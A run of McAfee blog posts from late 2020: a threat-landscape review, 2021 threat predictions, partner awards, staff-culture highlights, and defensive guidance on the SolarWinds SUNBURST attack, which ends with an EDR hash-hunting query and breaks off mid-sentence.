Login
As we gratefully move forward into the year 2021, we have to recognise that 2020 was as tumultuous in the digital realm as it has in the physical world. From low level fraudsters leveraging the pandemic as a vehicle to trick victims into parting with money for non-existent PPE, to more capable actors using malware that has considerably less prevalence in targeted campaigns. All of which has been played out at a time of immense personal and professional difficulties for millions of us across the world.
What started as a trickle of phishing campaigns and the occasional malicious app quickly turned to thousands of malicious URLs and more-than-capable threat actors leveraging our thirst for more information as an entry mechanism into systems across the world. There is no question that COVID was the dominant theme of threats for the year, and whilst the natural inclination will be to focus entirely on such threats it is important to recognise that there were also very capable actors operating during this time.
For the first time we made available a COVID-19 dashboard to complement our threat report to track the number of malicious files leveraging COVID as a potential lure. What this allows is real time information on the prevalence of such campaigns, but also clarity about the most targeted sectors and geographies. Looking at the statistics from the year clearly demonstrates that the overarching theme is that the volume of malicious content increased.
Whilst of course this a major concern, we must recognise that there were also more capable threat actors operating during this time.
The latter part of 2020 saw headlines about increasing ransom demands and continued successes from ransomware groups. An indication as to the reason why was provided in early 2020 in a blog published by Thomas Roccia that revealed “The number of RDP ports exposed to the Internet has grown quickly, from roughly three million in January 2020 to more than four and a half million in March.”
With RDP a common entry vector used predominantly by post intrusion ransomware gangs, there appears some explanation as to the reason why we are seeing more victims in the latter part of 2020. Indeed, in the same analysis from Thomas we find that the most common passwords deployed for RDP are hardly what we would regard as strong.
If we consider the broader landscape of RDP being more prevalent (we have to assume due to the immediate need for remote access due to the lockdowns across the globe), the use of weak credentials, then the success of ransomware groups become very evident. Indeed, later in the year we detailed our research into the Netwalker ransomware group that reveals the innovation, affiliate recruitment and ultimately financial success they were able to gain during the second quarter of 2020.
The year also provided us with the added gifts of major vulnerabilities. In August, for example, there was a series of zero-day vulnerabilities in a widely used, low-level TCP/IP software library developed by Treck, Inc. Known as Ripple 20, the affect to hundreds of millions of devices resulted in considerable concern related to the wider supply chain of devices that we depend upon. In collaboration with JSOF, the McAfee ATR team developed a Detection Logic and Signatures for organizations to detect these vulnerabilities.
Of course the big vulnerabilities did not end there; we had the pleasure of meeting BadNeighbour, Drovorub, and so many more. The almost seemingly endless stream of vulnerabilities with particularly high CVSS Scores has meant that the need to patch very high on the list of priorities.
As we closed out 2020, we were presented with details of ‘nation states’ carrying out sophisticated attacks. Whilst under normal circumstances such terminology is something that should be avoided, there is no question that the level of capability we witness from certain threat campaigns are a world away from the noisy COVID phishing scams.
In August of 2020, we released the MVISION Insights dashboard which provides a free top list of campaigns each week. This includes, most recently, tracking against the SUNBURST trojan detailed in the SolarWinds attack, or the tools stolen in the FireEye breach. What this demonstrates is that whilst prevalence is a key talking point, there exists capable threat actors targeting organizations with real precision.
For example, the Operation North Star campaign in which the threat actors deployed an Allow and Block list of targets in order to limit those they would infect with a secondary implant.
The term sophisticated is overused, and attribution is often too quickly relegated to the category of nation state. However, the revelations have demonstrated that there are those campaigns where the attack did use capabilities not altogether common and we are no doubt witnessing a level of innovation from threat groups that is making the challenge of defence harder.
What is clear is that 2020 was a challenging year, but as we try and conclude what 2021 has in store, we have to celebrate the good news stories. From initiatives such as No More Ransom continuing to tackle ransomware, to the unprecedented accessibility of tools that we can all use to protect ourselves (e.g. please check ATR GitHub repo, but recognise there are more).
Our experts share their 2021 predictions for the new year and how to protect yourself and your enterprise.
The post A Year in Review: Threat Landscape for 2020 appeared first on McAfee Blogs.
The December 2020 revelations around the SUNBURST campaigns exploiting the SolarWinds Orion platform have revealed a new attack vector – the supply chain – that will continue to be exploited.
The ever-increasing use of connected devices, apps and web services in our homes will also make us more susceptible to digital home break-ins. This threat is compounded by many individuals continuing to work from home, meaning this threat not only impacts the consumer and their families, but enterprises as well.
Attacks on cloud platforms and users will evolve into a highly polarized state where they are either “mechanized and widespread” or “sophisticated and precisely handcrafted”.
Mobile users will need to beware of phishing or smishing messages aimed at exploiting and defrauding them through mobile payment services.
The use of QR codes has notably accelerated during the pandemic, raising the specter of a new generation of social engineering techniques that seek to exploit consumers and gain access to their personal data.
Finally, the most sophisticated threat actors will increasingly use social networks to target high value individuals working in sensitive industry sectors and roles.
A new year offers hope and opportunities for consumers and enterprises, but also more cybersecurity challenges. I hope you find these helpful in planning your 2021 security strategies.
–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research
Twitter @Raj_Samani
1. |
Supply Chain Backdoor Techniques to Proliferate |
On December 13, 2020, the cybersecurity industry learned nation-state threat actors had compromised SolarWinds’s Orion IT monitoring and management software and used it to distribute a malicious software backdoor called SUNBURST to dozens of that company’s customers, including several high-profile U.S. government agencies.
This SolarWinds-SUNBURST campaign is the first major supply chain attack of its kind and has been referred to by many as the “Cyber Pearl Harbor” that U.S. cybersecurity experts have been predicting for a decade and a half.
The campaign also represents a shift in tactics where nation state threat actors have employed a new weapon for cyber-espionage. Just as the use of nuclear weapons at the end of WWII changed military strategy for the next 75 years, the use of a supply chain attack has changed the way we need to consider defense against cyber-attacks.
This supply chain attack operated at the scale of a worm such as WannaCry in 2017, combined with the precision and lethality of the 2014 Sony Pictures or 2015 U.S. government Office of Personnel Management (OPM) attacks.
Within hours of its discovery, the magnitude of the campaign became frighteningly clear to organizations responsible for U.S. national security, economic competitiveness, and even consumer privacy and security.
It enables U.S. adversaries to steal all manners of information, from inter-governmental communications to national secrets. Attackers can, in turn, leverage this information to influence or impact U.S. policy through malicious leaks. Every breached agency may have different secondary cyber backdoors planted, meaning that there is no single recipe to evict the intrusion across the federal government.
While some may argue that government agencies are legitimate targets for nation-state spy craft, the campaign also impacted private companies. Unlike government networks which store classified information on isolated networks, private organizations often have critical intellectual property on networks with access to the internet. Exactly what intellectual property or private data on employees has been stolen will be difficult to determine, and the full extent of the theft may never be known.
This type of attack also poses a threat to individuals and their families given that in today’s highly interconnected homes, a breach of consumer electronics companies can result in attackers using their access to smart appliances such as TVs, virtual assistants, and smart phones to steal their information or act as a gateway to attack businesses while users are working remotely from home.
What makes this type of attack so dangerous is that it uses trusted software to bypass cyber defenses, infiltrate victim organizations with the backdoor and allow the attacker to take any number of secondary steps. This could involve stealing data, destroying data, holding critical systems for ransom, orchestrating system malfunctions that result in kinetic damage, or simply implanting additional malicious content throughout the organization to stay in control even after the initial threat appears to have passed.
McAfee believes the discovery of the SolarWinds-SUNBURST campaign will expose attack techniques that other malicious actors around the world will seek to duplicate in 2021 and beyond.
2. |
Hacking the Home to Hack the Office |
By Suhail Ansari, Dattatraya Kulkarni and Steve Povolny
While the threat to connected homes is not new, what is new is the emergence of increased functionality in both home and business devices, and the fact that these devices connect to each other more than ever before. Compounding this is the increase in remote work – meaning many of us are using these connected devices more than ever.
In 2020,the global pandemic shifted employees from the office to the home, making the home environment a work environment. In fact, since the onset of the coronavirus pandemic, McAfee Secure Home Platform device monitoring shows a 22% increase in the number of connected home devices globally and a 60% increase in the U.S. Over 70% of the traffic from these devices originated from smart phones, laptops, other PCs and TVs, and over 29% originated from IoT devices such as streaming devices, gaming consoles, wearables, and smart lights.
McAfee saw cybercriminals increase their focus on the home attack surface with a surge in various phishing message schemes across communications channels. The number of malicious phishing links McAfee blocked grew over 21% from March to November, at an average of over 400 links per home.
This increase is significant and suggests a flood of phishing messages with malicious links entered home networks through devices with weaker security measures.
Millions of individual employees have become responsible for their employer’s IT security in a home office filled with “soft” targets, unprotected devices from the kitchen, to the family room, to the bedroom. Many of these home devices are “orphaned” in that their manufacturers fail to properly support them with security updates addressing new threats or vulnerabilities.
This contrasts with a corporate office environment filled with devices “hardened” by enterprise-grade security measures. We now work with consumer-grade networking equipment configured by “us” and lacking the central management, regular software updates and security monitoring of the enterprise.
Because of this, we believe cybercriminals will advance the home as an attack surface for campaigns targeting not only our families but also corporations. The hackers will take advantage of the home’s lack of regular firmware updates, lack of security mitigation features, weak privacy policies, vulnerability exploits, and user susceptibility to social engineering.
By compromising the home environment, these malicious actors will launch a variety of attacks on corporate as well as consumer devices in 2021.
3. |
Attacks on Cloud Platforms Become Highly Mechanized and Handcrafted |
By Sandeep Chandana
The COVID-19 pandemic has also hastened the pace of the corporate IT transition to the cloud, accelerating the potential for new corporate cloud-related attack schemes. With increased cloud adoption and the large number of enterprises working from home, not only is there a growing number of cloud users but also a lot more data both in motion and being transacted.
McAfee cloud usage data from more than 30 million McAfee MVISION Cloud users worldwide shows a 50% increase overall in enterprise cloud use across all industries the first four months of 2020. Our analysis showed an increase across all cloud categories, usage of collaboration services such as Microsoft O365 by 123%, increase in use of business services such as Salesforce by 61% and the largest growth in collaboration services such as Cisco Webex (600%), Zoom (+350%), Microsoft Teams (+300%), and Slack (+200%). From January to April 2020, corporate cloud traffic from unmanaged devices increased 100% across all verticals.
During the same period, McAfee witnessed a surge in attacks on cloud accounts, an estimated 630% increase overall, with variations in the sectors that were targeted. Transportation led vertical industries with a 1,350% increase in cloud attacks, followed by education (+1,114%), government (+773%), manufacturing (+679%), financial services (+571%) and energy and utilities (+472%).
The increasing proportion of unmanaged devices accessing the enterprise cloud has effectively made home networks an extension of the enterprise infrastructure. Cybercriminals will develop new, highly mechanized, widespread attacks for better efficacy against thousands of heterogenous home networks.
One example could be a widespread brute force attack against O365 users, where the attacker seeks to leverage stolen credentials and exploit users’ poor practice of re-using passwords across different platforms and applications. As many as 65% of users reuse the same password for multiple or all accounts according to a 2019 security survey conducted by Google. Where an attacker would traditionally need to manually encode first and last name combinations to find valid usernames, a learning algorithm could be used to predict O365 username patterns.
Additionally, cybercriminals could use AI and ML to bypass traditional network filtering technologies deployed to protect cloud instances. Instead of launching a classic brute force attack from compromised IPs until the IPs are blocked, resource optimization algorithms will be used to make sure the compromised IPs launch attacks against multiple services and sectors, to maximize the lifespan of compromised IPs used for the attacks. Distributed algorithms and reinforcement learning will be leveraged to identify attack plans primarily focused on avoiding account lockouts.
McAfee also predicts that, as enterprise cloud security postures mature, attackers will be forced to handcraft highly targeted exploits for specific enterprises, users and applications.
The recent Capital One breach was an example of an advanced attack of this kind. The attack was thoroughly cloud-native. It was sophisticated and intricate in that a number of vulnerabilities and misconfigurations across cloud applications (and infrastructure) were exploited and chained. It was not a matter of chance that the hackers were successful, as the attack was very well hand-crafted.
We believe attackers will start leveraging threat surfaces across devices, networks and the cloud in these ways in the months and years ahead.
4. |
New Mobile Payment Scams |
By Suhail Ansari and Dattatraya Kulkarni
Mobile payments have become more and more popular as a convenient mechanism to conduct transactions. A Worldpay Global Payments Report for 2020 estimated that 41% of payments today are on mobile devices, and this number looks to increase at the expense of traditional credit and debit cards by 2023. An October 2020 study by Allied Market Research found that the global mobile payment market size was valued at $1.48 trillion in 2019, and is projected to reach $12.06 trillion by 2027, growing at a compound annual growth rate of 30.1% from 2020 to 2027.
Additionally, the COVID-19 pandemic has driven the adoption of mobile payment methods higher as consumers have sought to avoid contact-based payments such as cash or physical credit cards.
But fraudsters have followed the money to mobile, pivoting from PC browsers and credit cards to mobile payments. According to research by RSA’s Fraud and Risk Intelligence team, 72% of cyber fraud activity involved the mobile channel in the fourth quarter of 2019. The researchers observed that this represented “the highest percentage of fraud involving mobile apps in nearly two years and underscores a broader shift away from fraud involving web browsers on PCs.”
McAfee predicts there will be an increase in “receive”-based mobile payment exploits, where a user receives a phishing email, direct message or smishing message telling him that he can receive a payment, transaction refund or cash prize by clicking on a malicious payment URL. Instead of receiving a payment, however, the user has been conned into sending a payment from his account.
This could take shape in schemes where fraudsters set up a fake call center using a product return and servicing scam, where the actors send a link via email or SMS, offering a refund via a mobile payment app, but the user is unaware that they are agreeing to pay versus receiving a refund. The figures below show the fraudulent schemes in action.
Mobile wallets are making efforts to make it easier for users to understand whether they are paying or receiving. Unfortunately, as the payment methods proliferate, fraudsters succeed in finding victims who either cannot distinguish credit from debit or can be prompted into quick action by smart social engineering.
Governments and banks are making painstaking efforts to educate users to understand the use of one-time passwords (OTPs) and that they should not be shared. Adoption of frameworks such as caller ID authentication (also known as STIR/SHAKEN) help in ensuring that the caller ID is not masked by fraudsters, but they do not prevent a fraudster from registering an entity that has a name close to the genuine provider of service.
In the same way that mobile apps have simplified the ability to conduct transactions, McAfee predicts the technology is making it easier to take advantage of the convenience for fraudulent purposes.
5. |
Qshing: QR Code Abuse in the Age of COVID |
By Suhail Ansari and Dattatraya Kulkarni
The global pandemic has created the need for all of us to operate and transact in all areas of our lives in a “contactless” way. Accordingly, it should come as no surprise that QR codes have emerged as a convenient input mechanism to make mobile transactions more efficient.
QR code usage has proliferated into many areas, including payments, product marketing, packaging, restaurants, retail, and recreation just to name a few. QR codes are helping limit direct contact between businesses and consumers in every setting from restaurants to personal care salons, to fitness studios. They allow them to easily scan the code, shop for services or items offered, and easily purchase them.
A September 2020 survey by MobileIron found that 86% of respondents scanned a QR code over the course of the previous year and over half (54%) reported an increase in the use of such codes since the pandemic began. Respondents felt most secure using QR codes at restaurants or bars (46%) and retailers (38%). Two-thirds (67%) believe that the technology makes life easier in a touchless world and over half (58%) wish to see it used more broadly in the future.
In just the area of discount coupons, an estimated 1.7 billion coupons using QR codes were scanned globally in 2017, and that number is expected to increase by a factor of three to 5.3 billion by 2022. In just four years, from 2014 to 2018, the use of QR codes on consumer product packaging in Korea and Japan increased by 83%. The use of QR codes in such “smart” packaging is increasing at an annual rate of 8% globally.
In India, the government’s Unique Identification Authority of India (UIDAI) uses QR codes in association with Aadhaar, India’s unique ID number, to enable readers to download citizens’ demographic information as well as their photographs.
However, the technicalities of QR codes are something of a mystery to most users, and that makes them potentially dangerous if cybercriminals seek to exploit them to target victims.
The MobileIron report found that whereas 69% of respondents believe they can distinguish a malicious URL based on its familiar text-based format, only 37% believe they can distinguish a malicious QR code using its unique dot pattern format. Given that QR codes are designed precisely to hide the text of the URL, users find it difficult to identify and even suspect malicious QR codes.
Almost two-thirds (61%) of respondents know that QR codes can open a URL and almost half (49%) know that a QR code can download an application. But fewer than one-third (31%) realize that a QR code can make a payment, cause a user to follow someone on social media (22%), or start a phone call (21%). A quarter of respondents admit scanning a QR code that did something unexpected (such as take them to a suspicious website), and 16% admitted that they were unsure if a QR code actually did what it was intended to do.
It is therefore no surprise that QR codes have been used in phishing schemes to avoid anti-phishing solutions’ attempts to identify malicious URLs within email messages. They can also be used on webpages or social media.
In such schemes, victims scan fraudulent QRs and find themselves taken to malicious websites where they are asked to provide login, personal info, usernames and passwords, and payment information, which criminals then steal. The sites could also be used to simply download malicious programs onto a user’s device.
McAfee predicts that hackers will increasingly use these QR code schemes and broaden them using social engineering techniques. For instance, knowing that business owners are looking to download QR code generator apps, bad actors will entice consumers into downloading malicious QR code generator apps that pretend to do the same. In the process of generating the QR code (or even pretending to be generating the correct QR code), the malicious apps will steal the victim’s sensitive data, which scammers could then use for a variety of fraudulent purposes.
Although the QR codes themselves are a secure and convenient mechanism, we expect them to be misused by bad actors in 2021 and beyond.
6. |
Social Networks as Workplace Attack Vectors |
By Raj Samani
Cyber adversaries have traditionally relied heavily on phishing emails as an attack vector for compromising organizations through individual employees. However, as organizations have implemented spam detection, data loss prevention (DLP) and other solutions to prevent phishing attempts on corporate email accounts, more sophisticated adversaries are pivoting to target employees through social networking platforms to which these increasingly effective defenses cannot be applied.
McAfee has observed such threat actors increasingly using the messaging features of LinkedIn, What’s App, Facebook and Twitter to engage, develop relationships with and then compromise corporate employees. Through these victims, adversaries compromise the broader enterprises that employ them. McAfee predicts that such actors will seek to broaden the use of this attack vector in 2021 and beyond for a variety of reasons.
Malicious actors have used the social network platforms in broad scoped schemes to perpetrate relatively low-level criminal scams. However, prominent actors such as APT34, Charming Kitten, and Threat Group-2889 (among others) have been identified using these platforms for higher-value, more targeted campaigns on the strength of the medium’s capacity for enabling customized content for specific types of victims.
Operation North Star demonstrates a state-of-the-art attack of this kind. Discovered and exposed by McAfee in August 2020, the campaign showed how lax social media privacy controls, ease of development and use of fake LinkedIn user accounts and job descriptions could be used to lure and attack defense sector employees.
Just as individuals and organizations engage potential consumer customers on social platforms by gathering information, developing specialized content, and conducting targeted interactions with customers, malicious actors can similarly use these platform attributes to target high value employees with a deeper level of engagement.
Additionally, individual employees engage with social networks in a capacity that straddles both their professional and personal lives. While enterprises assert security controls over corporate-issued devices and place restrictions on how consumer devices access corporate IT assets, user activity on social network platforms is not monitored or controlled in the same way. As mentioned, LinkedIn and Twitter direct messaging will not be the only vectors of concern for the corporate security operations center (SOC).
While it is unlikely that email will ever be replaced as an attack vector, McAfee foresees this social network platform vector becoming more common in 2021 and beyond, particularly among the most advanced actors.
The post 2021 Threat Predictions Report appeared first on McAfee Blogs.
McAfee, the device-to-cloud cybersecurity company, announced the winners of its distinguished SIA Partner Awards. The 2020 awards recognize partners who demonstrated innovation, strategic value, and market leadership in their respective market segments which are a complement to the McAfee solution portfolio.
2020 has been a difficult year for everyone that has required organizations to be flexible and rethink how they deploy security to ensure their critical assets remain protected. The McAfee SIA program enables organizations to embrace the flexibility they need through certified integrated solutions from industry-leading providers to ensure they have the tools and resources needed to stay protected and ensure business keeps operating.
We are pleased to announce the winners of the 2020 McAfee Security Innovation Alliance Awards in the following three categories: Most Innovative Partners of the Year, and SIA Partner of the Year.
IBM Security is a strategic partnered with McAfee across multiple IBM teams including Resilient and QRadar. To date McAfee has certified integrations with IBM’s Incident Response platform, Resilient to include: TIE, DXL, ePO, ESM, ATD and now MVISION. McAfee has released QRadar integrations to both ePO and MVISION. All McAfee Resilient integrations are published on IBM’s AppExchange. In 2019 McAfee and IBM jointly founded the Open Cybersecurity Alliance under the auspices of Oasis. Read our solution brief for more details. IBM Security was amongst the inaugural partners announced during the recent launch of the MVISION Marketplace.
Siemplify is a great McAfee partner, previously integrating their SOAR product with McAfee ePO. Now, with McAfee’s latest announcement of the MVISION Marketplace including Siemplify as one of the inaugural development partners. Siemplify has shown themselves to be one of our most innovative partners during 2020 and now enable mutual customers to discover, try, buy, and deploy partner technologies as a Composable solution with a few clicks of the mouse.
Most Valuable Partner of the Year criteria cover the breadth and depth of the partner’s multiple integrations and close business engagement with McAfee.
ThreatQuotient, “ThreatQ” Joined the SIA program in January 2017 and quickly showed their value through their Threat Intelligence Platform. In ThreatQ fashion, they quickly, integrated with McAfee TIE, McAfee Data Exchange Layer (DXL), McAfee Advanced Threat Detection (ATD), McAfee Active Response (MAR) and Enterprise Security Manager (ESM), followed by MVISION Endpoint Detection and Response (EDR). Most recently ThreatQ was amongst the inaugural partners to launch with McAfee’s new MVISION Marketplace.
Partnership integrations and the most deal closures within the SIA programs tells the story or why ThreatQuotient was selected as the Partner of The Year.
To learn more about these partners and MVISION Marketplace visit: https://marketplace.mcafee.com
Read the MVISION Marketplace press release here: McAfee Announces MVISION Marketplace
The post McAfee Security Innovation Alliance 2020 MPOWER Awards appeared first on McAfee Blogs.
2020 has been quite the year for many, and through it all, we’re reflecting on everything we are thankful for. This includes the incredible stories and invaluable perspectives that come from our McAfee team members around the world.
As the year ends, we’re counting down the top 10 most read Life at McAfee blog stories. These are the stories from our team members that you love to read, and we love to tell!
When COVID-19 hit Germany, Heiko jumped into action and made an impact on his community with the help of THW and McAfee’s Volunteer Time Off (VTO) benefit. Read about Heiko’s experience and how he was able to help provide relief by helping to build a temporary hospital facility.
Navigating a global pandemic while balancing parenthood and adjusting to remote work is currently a challenge for many. In this blog, our team member, Paige, offers up four helpful tips for remote working parents.
In honor of International Women’s Day, we asked McAfee men around the world to share their perspectives on creating a more gender equal world. They offered candid and rich insights with takeaways to remember — inside and outside of the workplace. If you’re looking for an interesting conversation on gender equality, you won’t want to miss this blog.
Launching your career is an exciting experience that can also be a nerve-wracking feat. Our Women in Security (WISE) Community hosted a panel discussion to encourage our next generation of women in tech to pursue their passions. Whether you’re just starting your career or looking for a change, you’ll find useful insights on what it’s like to work in the tech industry and life at McAfee!
We talked to our Women in Technology (WIT) Scholarship recipients and discussed their participation in our summer internship program in Cork, Ireland. Read about their unique experiences being in the program — from building professional relationships to mentorships and training. This is a valuable read for anyone jumpstarting a new career.
Looking for a snapshot of McAfee internships? To celebrate National Intern Day, we asked ten global McAfee interns to share insights gained from their unique experiences.
To pay tribute to our veterans in honor of Veterans Day and Remembrance Day, we asked team members in our McAfee Veterans Community to share memories and photos from their service days. Check out what some of them had to say!
Meet Thomas, Advanced threat Researcher at McAfee by day, 3D–mask–printing expert by night. Read Thomas’ story and find out how he is making a significant impact and inspiring others to support healthcare workers during the pandemic.
In our Women in Sales series, McAfee’s sales professionals talked on how to break boundaries and achieve success in cybersecurity sales. If you want to dive into industry opportunities and gain advice to advance your career, this is the place to start!
Whether you’re an expert in remote work or working from home for the first time, you may be looking for helpful tips to set yourself up for success. In this blog, get advice from seasoned remote workers on navigating working from home and learn how you can incorporate practical tips.
The post 2020 In Review: The Top 10 Most Popular Life at McAfee Blogs appeared first on McAfee Blogs.
In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SoalrWinds.Orion.Core.BusinessLayer.dll delivered as part of a digitally-signed Windows Installer Patch. The trojanized file delivers a backdoor, dubbed SUNBURST by FireEye (and Solorigate by Microsoft), that communicates to third-party servers for command and control and malicious file transfer giving the attacker a foothold on the affected system with elevated privileges. From there, additional actions on the objective, such as lateral movement and data exfiltration, are possible. Since release of the initial blog from FireEye, subsequent additional analysis by McAfee and the industry as well as alerts by CISA, we have seen the attack grow in size, breadth and complexity. We will continue to update defensive recommendation blogs like this as new details emerge.
The use of a compromised software supply chain as an Initial Access technique (T1195.002) is particularly dangerous as the attack uses assumed trusted paths and as such can go undetected for a long period. This attack leveraged several techniques, such as trusted software, signed code and stealthy hiding-in-plain-sight communication, allowing the attacker to evade even strong defenses and enjoy a long dwell before detection. The sophisticated nature of the attack suggests that an Advanced Persistent Threat (APT) Group is likely responsible. In fact, FireEye is tracking the group as UNC2452 and has released countermeasures to identify the initial SUNBURST backdoor. McAfee has also provided an intelligence summary within MVISION Insights and mitigation controls for the initial entry vectors are published in KB93861. For additional response actions, please view Part One of this blog series here. If you are using SolarWinds software, please refer to the company guidance here to check for vulnerable versions and patch information.
However, looking beyond the initial entry and containment actions, you should think about how you are prepared for this type of attack in the future. This is a sophisticated actor(s) who may use other techniques such as Spearphishing to gain access, then move around the corporate network and potentially steal intellectual property as was the case with FireEye. They will change techniques and tools, so you need to be ready. Our Advanced Threat Research team tracks over 700 APT and Cyber Crime campaigns so the potential for another threat actor to launch a similar attack is high. In this blog, we will take a specific look at the techniques used in the SolarWinds compromise and provide some guidance on how McAfee solutions could help you respond now and prepare for this type of threat in the future with an adaptable security capability for resilience.
In our first blog in this series, we provided some initial response guidance designed to disrupt the attack early in the Execution phase or look retrospectively on the endpoints or proxy logs for indicators of compromise. But as you can see in the attack timeline below, it started much earlier with purposeful and detailed preparation and includes multiple other steps. A couple of techniques speak volumes about the sophistication and planning involved in this campaign.
First is the choice of entry vector. The attacker in this case compromised part of the software supply chain by weaponizing software by SolarWinds, a major brand of IT management software. While software supply chain compromises are not new, like the recent one affecting JavaScript, they are typically on a smaller scale or more quickly detected. More common initial access techniques involve Spearphishing or taking advantage of open remote services like RDP. While both take planning and effort, weaponizing software from a major technology company and going undetected in that process is no easy feat. Secondly, the calculated wait time before external communication and the custom Domain Generation Algorithm (DGA) indicate the attacker has a lot of patience and stealth capability. For more detailed analysis of these advanced techniques, see McAfee Labs additional analysis blog on the SUNBURST backdoor.
The attack also involves numerous post-exploitation actions such as command and control communication masquerading (T1001.003) as normal update traffic, additional payload transfers (T1105), system discovery, credential harvesting and potentially then movement to other systems, even cloud-hosted infrastructure systems. The goal of course is to disrupt or detect any stage of attack before the breakout point and hopefully before any real impact to the business. The breakout point is when an attacker has gained privileges and starts to move laterally within the business. At that point, it becomes very difficult but not impossible to disrupt or detect the activity. But you must act fast. The impact of the attack can vary. In one case, it could be loss of intellectual property, but in another case, destruction of critical systems or data could be the goal. Also, what if the attacker used other initial access techniques, such as Spearphishing (T1566), to deliver a similar backdoor? Would you be able to detect that activity or any of the follow actions? Our point is don’t just update the endpoint with the latest DAT and consider yourself secure. Look for other ways to disrupt or detect an attack throughout the whole attack chain, leveraging both prevention and detection capability and keeping the end goal in mind to reduce impact to the business. Also think about how you prepare. The attackers in this case spent a lot of time in preparation creating custom malware and infrastructure. How about your organization? Do you know what attackers might be targeting your organization? Do you know their tactics and techniques?
In the first hours of a new threat campaign, if the CIO or CISO asked you, “are we exposed to SUNBURST”, how long would it take you to answer that question? One place to turn is MVISION Insights. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 700 APT and Cyber Crime campaigns as researched by McAfee’s ATR team, including the most recent, FireEye Red Team tool release and SolarWinds Supply Chain Compromise campaigns.
In the beginning hours of a new threat response, you can use MVISION Insights to get a quick summary of the threat, view external resources, and a list of known indicators such as files, URLs, or IP addresses. The campaign summary saves you from some of the time-consuming task of combing multiple sites, downloading reports, and building out the broader picture. MVISION Insights provides critical pieces in one place allowing you to move quicker through the response process. The next question to answer, is this new attack a risk to my business? Insights can help you answer that question as well when you click on “Your Environment”.
Insights automatically correlates the indicators of compromise with Threat Events from McAfee ENS, allowing you to quickly asses if there is an immediate problem now. If you had a detection, you should immediately go to incident response. Insights reviews your endpoint control configuration to asses if you have the right content update deployed to potentially disrupt the threat. At this point, you are closer to answer the CIO question of “are we exposed”. I say closer because Insights provides only the endpoint protection view currently so you will need to review other controls you have in place to fully assess risk.
However, Insights also assesses your endpoint security posture against other advanced threat techniques, looking to see if you are getting the best value from ENS by leveraging signature, intelligence and behavior anomaly detection capability in the solution. This is important because the attackers will change tactics, using new entry techniques and tools, so your security posture must continuously adapt. And this is just one campaign. Insights is summarizing intelligence, surfacing detections and reducing your attack surface continuously, against 700 campaigns!
Mitigating risk from SUNBURST and similar sophisticated APT campaigns requires a security architecture that provides defense in depth and visibility throughout the entire attack chain. You should review your architecture and assess gaps either in technique visibility or protection capability. Below we have outlined where McAfee and partner solutions could be used to either disrupt or detect some of the attack techniques used in SUNBURST based on what we know today.
While the attacker is no doubt sophisticated and stealthy, the multi-stage aspect of the attack presents opportunities to detect or stop at multiple points and perhaps even before the attack gains a foothold. We cover more about how to use McAfee EDR to search for or detect some of the techniques used in SUNBURST in next section. However, there are some other key cyber defense capabilities that may be overlooked in your organizations but are critical to having a chance at detection and mitigation. We highlight those in this section below.
Normally this is beyond what most organizations have time to do. However, in this case, you need to gain any advantage. We discussed MVISION Insights above so here we will cover additional guidance. During the preparation phase of this attack, the attacker obtains infrastructure within the target geo to host their command and control server. During this phase, they also set the hostnames of their C2 servers to mimic target organization hostnames. A scan for your domain names on external IP blocks can reveal the attack formation. Open source tools such as Spiderfoot offer a number of plugins to gather and analyze such types of data. Passive DNS with combination of hosts communicating with unusual domain names also represent a window of detection whereby Advanced DNS Protection solutions such as from our SIA partner Infoblox can detect behavior-based DGA usage by malware and automatically block such DNS resolution requests.
DNS queries often provide the first layers of insights into any type of C2 communication and data exfiltration. You should enable logging ideally at an upstream resolver(s) where you can see traffic from your entire infrastructure. More information can be found here for Windows DNS Servers and Linux Bind DNS Servers. This could be forwarded to McAfee ESM/other SIEMs for analysis and correlation for detection of DGA-type activities.
Being able to detect unusual flows should also be a priority for incident responders. Along with DNS queries, NetFlow data when combined with UBA provides a great source of detection, as the attackers’ use of VPS providers can be combined with user login data to detect an “impossible rate of travel event.”
As described in the defensive architecture, MVISION EDR plays a vital role in hunting for prevalence of indicators related to the SUNBURST backdoor and ensuing post compromise activity. The role of MVISION EDR becomes even more important due to the usage of manual OPSEC by the threat actor where what follows the initial breach is driven by how the threat actor is targeting the organisation.
You can use MVISION EDR or MAR to search endpoints for SUNBURST indicators as provided by Microsoft and FireEye. If you are licensed for MVISION Insights, you can pivot directly to MVISION EDR to search for indicators. MVISION EDR supports real-time searches to hunt for presence of files on the endpoints and allows for sweeps across the estate. The following query can be used with the pre-populated malicious file hash list. The presence of the file on the system is itself does not mean it was successful and further hunting to check for execution of the actual malicious code on the system.is needed. See the search syntax below.
Begin MVEDR Query Syntax…
Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”
…End MVEDR Query Syntax
Additionally, you can do a historical search creation and deletion of files going back up to 90 days in cloud storage.
The threat actor is known to rename system utilities/files and clean up their tracks. MVISION EDR can review historical changes to the file system, this is crucial in determining if an endpoint was a victim of this attack. The flexible search interface can be used to filter down and track the progress of the completion of the attacker’s objectives for e.g. look at changes triggered from the infected dll’s such as netsetupsvc.dll.
MVISION EDR allows for tracing of active network connections leveraging the real time search functionalities
